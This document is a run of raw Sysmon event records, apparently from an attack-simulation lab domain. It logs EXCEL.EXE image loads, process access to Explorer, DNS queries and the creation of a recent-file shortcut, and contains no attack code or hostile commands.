Office\Root\Office16\EXCEL.EXE0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\sysmon64.exe+2682c|C:\Windows\sysmon64.exe+1cc6d|C:\Windows\sysmon64.exe+1d392|C:\Windows\sysmon64.exe+1d4a5|C:\Windows\sysmon64.exe+b0519|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000048955Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:07.971{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\System32\PhotoMetadataHandler.dll10.0.14393.4169 (rs1_release.210107-1130)Photo Metadata HandlerMicrosoft® Windows® Operating SystemMicrosoft CorporationPhotoMetadataHandler.dllMD5=6FB0850ABAD1E8FDD1F662FCF819262C,SHA256=3EFCA956A159AE40CE292607EC59E4D258BDE13EAB51AFEF270FE55154CFA26E,IMPHASH=C204FCA51D1E4DDB2A7903D799C90765trueMicrosoft WindowsValid 734700x800000000000000048954Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:07.956{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\System32\icm32.dll10.0.14393.4169 (rs1_release.210107-1130)Microsoft Color Management Module (CMM)Microsoft® Windows® Operating SystemMicrosoft CorporationICM32.DLLMD5=847C3A20A22F9EA80A1A39AAA2910F8E,SHA256=698FB4A90A34E710BE9AC00C8B2117F0E70AD10E0B468627509F59D34ED8DB71,IMPHASH=672E2F85F772161D29D017540F100509trueMicrosoft WindowsValid 734700x800000000000000048953Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:07.940{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\System32\mscms.dll10.0.14393.4169 (rs1_release.210107-1130)Microsoft Color Matching System DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationMSCMS.DLLMD5=85508B678B5852611B112F61858CFC9B,SHA256=88BEBDCCD2532A4D62C4D5EFE475590513BAA7C90C0885FC68DC4451BD06DF8A,IMPHASH=9C1E7CCABDEA296D63CB0D1AF20AD0E3trueMicrosoft WindowsValid 734700x800000000000000048952Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:07.940{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\System32\WindowsCodecsExt.dll10.0.14393.2608 (rs1_release.181024-1742)Microsoft Windows Codecs Extended LibraryMicrosoft® Windows® Operating SystemMicrosoft CorporationWindowsCodecsExtMD5=9BE204963A8D8D03D265C532AA54BDE3,SHA256=47DADEB3D578676E207410ACCE7A6CD8C17F60922476DE6C94DFAAC2986591E6,IMPHASH=7DF6CF1148EF8C01698E1C0325684D2FtrueMicrosoft WindowsValid 23542300x800000000000000016317Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:07.996{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=6EA9767B52F1A82B384AEC9E7DD8BF2E,SHA256=7D13834F76AC21C4D3523B354638DB2EDF9D4F42BEFE4D8A212028A8AFAEF5C0,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000048951Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:04.878{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local58202- 354300x800000000000000048950Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:04.878{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local59071- 354300x800000000000000048949Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:04.878{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local62911- 22542200x800000000000000048948Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:06.625{7BD73061-727B-613B-4A0B-00000000F001}6276win-dc-387.attackrange.local0fe80::54c:bd54:34e2:1fb5;::ffff:10.0.1.14;C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE 22542200x800000000000000048947Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:06.624{7BD73061-727B-613B-4A0B-00000000F001}6276autodiscover.attackrange.local9003-C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE 10341000x800000000000000048946Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:07.717{7BD73061-727B-613B-4A0B-00000000F001}62766364C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\shcore.dll+64c8|C:\Windows\System32\shcore.dll+1c0e5|C:\Windows\System32\windows.storage.dll+d4a67|C:\Windows\System32\windows.storage.dll+d4393|C:\Windows\System32\windows.storage.dll+d4219|C:\Windows\System32\windows.storage.dll+3dbf02|C:\Windows\System32\windows.storage.dll+3d95bb|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193f30|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+194431|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+1942c8|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193141|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+f20cc|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+15290d|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bdb1e|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bef25|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+8e4f6|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048945Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:07.717{7BD73061-727B-613B-4A0B-00000000F001}62766364C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\shcore.dll+64c8|C:\Windows\System32\shcore.dll+1c0e5|C:\Windows\System32\windows.storage.dll+d49d2|C:\Windows\System32\windows.storage.dll+d4393|C:\Windows\System32\windows.storage.dll+d4219|C:\Windows\System32\windows.storage.dll+3dbf02|C:\Windows\System32\windows.storage.dll+3d95bb|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193f30|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+194431|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+1942c8|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193141|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+f20cc|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+15290d|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bdb1e|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bef25|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+8e4f6|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048944Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:07.699{7BD73061-727B-613B-4A0B-00000000F001}62766364C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\shcore.dll+64c8|C:\Windows\System32\shcore.dll+6482|C:\Windows\System32\shcore.dll+617d|C:\Windows\System32\shcore.dll+5e3d|C:\Windows\System32\shcore.dll+5dcf|C:\Windows\System32\shcore.dll+5cd4|C:\Windows\System32\windows.storage.dll+d49b7|C:\Windows\System32\windows.storage.dll+d4393|C:\Windows\System32\windows.storage.dll+d4219|C:\Windows\System32\windows.storage.dll+3dbf02|C:\Windows\System32\windows.storage.dll+3d95bb|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193f30|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+194431|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+1942c8|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193141|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+f20cc|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+15290d|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bdb1e|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bef25|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+8e4f6|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048943Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:07.699{7BD73061-727B-613B-4A0B-00000000F001}62766364C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\shcore.dll+64c8|C:\Windows\System32\shcore.dll+6154|C:\Windows\System32\shcore.dll+5e3d|C:\Windows\System32\shcore.dll+5dcf|C:\Windows\System32\shcore.dll+5cd4|C:\Windows\System32\windows.storage.dll+d49b7|C:\Windows\System32\windows.storage.dll+d4393|C:\Windows\System32\windows.storage.dll+d4219|C:\Windows\System32\windows.storage.dll+3dbf02|C:\Windows\System32\windows.storage.dll+3d95bb|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193f30|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+194431|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+1942c8|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193141|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+f20cc|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+15290d|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bdb1e|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bef25|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+8e4f6|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048942Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:07.699{7BD73061-727B-613B-4A0B-00000000F001}62766364C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\shcore.dll+64c8|C:\Windows\System32\shcore.dll+1c0e5|C:\Windows\System32\windows.storage.dll+d4a67|C:\Windows\System32\windows.storage.dll+d4393|C:\Windows\System32\windows.storage.dll+d4219|C:\Windows\System32\windows.storage.dll+3dbef0|C:\Windows\System32\windows.storage.dll+3d95bb|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193f30|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+194431|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+1942c8|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193141|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+f20cc|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+15290d|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bdb1e|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bef25|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+8e4f6|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048941Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:07.699{7BD73061-727B-613B-4A0B-00000000F001}62766364C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\shcore.dll+64c8|C:\Windows\System32\shcore.dll+1c0e5|C:\Windows\System32\windows.storage.dll+d49d2|C:\Windows\System32\windows.storage.dll+d4393|C:\Windows\System32\windows.storage.dll+d4219|C:\Windows\System32\windows.storage.dll+3dbef0|C:\Windows\System32\windows.storage.dll+3d95bb|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193f30|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+194431|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+1942c8|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193141|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+f20cc|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+15290d|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bdb1e|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bef25|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+8e4f6|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048940Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:07.684{7BD73061-727B-613B-4A0B-00000000F001}62766364C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\shcore.dll+64c8|C:\Windows\System32\shcore.dll+6482|C:\Windows\System32\shcore.dll+617d|C:\Windows\System32\shcore.dll+5e3d|C:\Windows\System32\shcore.dll+5dcf|C:\Windows\System32\shcore.dll+5cd4|C:\Windows\System32\windows.storage.dll+d49b7|C:\Windows\System32\windows.storage.dll+d4393|C:\Windows\System32\windows.storage.dll+d4219|C:\Windows\System32\windows.storage.dll+3dbef0|C:\Windows\System32\windows.storage.dll+3d95bb|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193f30|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+194431|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+1942c8|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193141|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+f20cc|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+15290d|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bdb1e|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bef25|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+8e4f6|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048939Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:07.684{7BD73061-727B-613B-4A0B-00000000F001}62766364C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\shcore.dll+64c8|C:\Windows\System32\shcore.dll+6154|C:\Windows\System32\shcore.dll+5e3d|C:\Windows\System32\shcore.dll+5dcf|C:\Windows\System32\shcore.dll+5cd4|C:\Windows\System32\windows.storage.dll+d49b7|C:\Windows\System32\windows.storage.dll+d4393|C:\Windows\System32\windows.storage.dll+d4219|C:\Windows\System32\windows.storage.dll+3dbef0|C:\Windows\System32\windows.storage.dll+3d95bb|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193f30|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+194431|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+1942c8|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193141|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+f20cc|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+15290d|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bdb1e|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bef25|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+8e4f6|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 11241100x800000000000000048938Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:07.684{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXEC:\Users\Administrator\AppData\Roaming\Microsoft\Office\Recent\My documents for Chris.xlsb.LNK2021-09-10 14:58:07.668 23542300x800000000000000048937Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:07.684{7BD73061-727B-613B-4A0B-00000000F001}6276ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXEC:\Users\Administrator\AppData\Roaming\Microsoft\Office\Recent\My documents for Chris.xlsb.LNKMD5=6F6C78847C3D7FDE2C42D2B77FD1F673,SHA256=E72608552076422DBFDC8B6E5E2D506A9E1AECE4F1AF3842F112B962E43C1C86,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 734700x800000000000000048936Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:07.668{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\System32\cscapi.dll10.0.14393.0 (rs1_release.160715-1616)Offline Files Win32 APIMicrosoft® Windows® Operating SystemMicrosoft Corporationcscapi.dllMD5=6433F8201BFB449DC6B47F6999C2F164,SHA256=06729F1E0A0596620B48B6DC4A2CC9CC5FE55B17BD488C71F7F15AA4262C8C14,IMPHASH=50E2F760F0B39DC72CAD6892FEDF2F27trueMicrosoft WindowsValid 10341000x800000000000000048935Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:07.684{7BD73061-727B-613B-4A0B-00000000F001}62766364C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\shcore.dll+64c8|C:\Windows\System32\shcore.dll+1c0e5|C:\Windows\System32\windows.storage.dll+d4a67|C:\Windows\System32\windows.storage.dll+d4393|C:\Windows\System32\windows.storage.dll+d4219|C:\Windows\System32\windows.storage.dll+3dbf02|C:\Windows\System32\windows.storage.dll+3d95bb|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193f30|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+194431|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+1942a1|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193141|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+f20cc|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+15290d|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bdb1e|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bef25|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+8e4f6|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048934Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:07.684{7BD73061-727B-613B-4A0B-00000000F001}62766364C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\shcore.dll+64c8|C:\Windows\System32\shcore.dll+1c0e5|C:\Windows\System32\windows.storage.dll+d49d2|C:\Windows\System32\windows.storage.dll+d4393|C:\Windows\System32\windows.storage.dll+d4219|C:\Windows\System32\windows.storage.dll+3dbf02|C:\Windows\System32\windows.storage.dll+3d95bb|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193f30|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+194431|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+1942a1|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193141|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+f20cc|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+15290d|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bdb1e|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bef25|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+8e4f6|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048933Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:07.684{7BD73061-727B-613B-4A0B-00000000F001}62766364C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\shcore.dll+64c8|C:\Windows\System32\shcore.dll+6482|C:\Windows\System32\shcore.dll+617d|C:\Windows\System32\shcore.dll+5e3d|C:\Windows\System32\shcore.dll+5dcf|C:\Windows\System32\shcore.dll+5cd4|C:\Windows\System32\windows.storage.dll+d49b7|C:\Windows\System32\windows.storage.dll+d4393|C:\Windows\System32\windows.storage.dll+d4219|C:\Windows\System32\windows.storage.dll+3dbf02|C:\Windows\System32\windows.storage.dll+3d95bb|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193f30|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+194431|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+1942a1|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193141|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+f20cc|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+15290d|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bdb1e|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bef25|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+8e4f6|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048932Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:07.684{7BD73061-727B-613B-4A0B-00000000F001}62766364C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\shcore.dll+64c8|C:\Windows\System32\shcore.dll+6154|C:\Windows\System32\shcore.dll+5e3d|C:\Windows\System32\shcore.dll+5dcf|C:\Windows\System32\shcore.dll+5cd4|C:\Windows\System32\windows.storage.dll+d49b7|C:\Windows\System32\windows.storage.dll+d4393|C:\Windows\System32\windows.storage.dll+d4219|C:\Windows\System32\windows.storage.dll+3dbf02|C:\Windows\System32\windows.storage.dll+3d95bb|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193f30|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+194431|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+1942a1|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193141|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+f20cc|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+15290d|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bdb1e|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bef25|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+8e4f6|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048931Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:07.684{7BD73061-727B-613B-4A0B-00000000F001}62766364C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\shcore.dll+64c8|C:\Windows\System32\shcore.dll+1c0e5|C:\Windows\System32\windows.storage.dll+d4a67|C:\Windows\System32\windows.storage.dll+d4393|C:\Windows\System32\windows.storage.dll+d4219|C:\Windows\System32\windows.storage.dll+3dbef0|C:\Windows\System32\windows.storage.dll+3d95bb|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193f30|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+194431|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+1942a1|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193141|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+f20cc|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+15290d|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bdb1e|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bef25|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+8e4f6|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048930Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:07.684{7BD73061-727B-613B-4A0B-00000000F001}62766364C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\shcore.dll+64c8|C:\Windows\System32\shcore.dll+1c0e5|C:\Windows\System32\windows.storage.dll+d49d2|C:\Windows\System32\windows.storage.dll+d4393|C:\Windows\System32\windows.storage.dll+d4219|C:\Windows\System32\windows.storage.dll+3dbef0|C:\Windows\System32\windows.storage.dll+3d95bb|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193f30|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+194431|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+1942a1|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193141|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+f20cc|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+15290d|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bdb1e|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bef25|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+8e4f6|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000048929Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:07.652{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\System32\ntshrui.dll10.0.14393.4169 (rs1_release.210107-1130)Shell extensions for sharingMicrosoft® Windows® Operating SystemMicrosoft 